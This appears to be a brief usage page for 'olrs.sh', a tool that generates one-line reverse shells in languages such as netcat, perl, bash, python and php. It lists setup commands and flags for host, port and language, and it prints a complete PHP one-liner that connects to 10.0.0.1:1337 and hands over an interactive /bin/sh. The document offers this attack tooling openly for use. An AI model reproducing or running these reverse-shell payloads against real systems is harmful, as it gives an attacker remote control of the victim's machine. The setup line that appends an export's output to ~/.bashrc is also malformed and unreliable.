one line reverse shells
$ chmod +x olrs.sh
export RS_HOST=10.0.0.1 >> ~/.bashrc && source ~/.bashrc
$ ./olrs.sh -l php -p 1337
$./olrs.sh -l php -h 10.0.0.1 -p 1337
$ php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
[-l language] nc | ncs (netcat without execute) | perl | ruby | bash | xterm | python | php
[-h host]
[-p port]
default = 1337